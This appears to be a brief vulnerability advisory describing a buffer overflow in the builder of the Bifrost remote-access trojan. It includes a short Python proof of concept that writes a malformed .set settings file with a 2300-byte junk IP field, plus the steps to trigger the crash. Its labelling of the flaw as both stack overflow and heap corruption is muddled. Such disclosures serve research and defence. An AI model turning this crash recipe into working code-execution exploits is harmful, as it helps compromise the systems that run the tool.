Threat: Constructor.Win32.Bifrose.asc
Vulnerability: Local Stack Buffer Overflow (Heap Corruption)
Description: Bifrost doesn't properly validate the IP address when importing Bifrost settings (.set) files. The IP address offset is located after a NULL byte which is preceded by the Bifrost file header "BifrostSettings". A corrupted Bifrost .set file containing an invalid IP address of about 2300 bytes will trigger a local stack buffer overflow overwriting the EAX register. EAX register typically stores return values from functions. This can allow an attacker to control program execution flow resulting in arbitrary code execution.

Exploit/PoC:
1) To create the corrupt bifrost .set file you need the "BifrostSettings" header followed by a NULL byte followed by the payload. Otherwise, will get not a valid settings file error.
import struct
f=open('DOOM.set', 'wb')
f.write("BifrostSettings".encode('ascii'))
f.write(struct.pack('B', 0))
f.write(str("A"*2300).encode('ascii'))
f.close()
2) Go to builder menu item in bifrost
3) Import the corrupt bifrost .set (settings) file, Done!
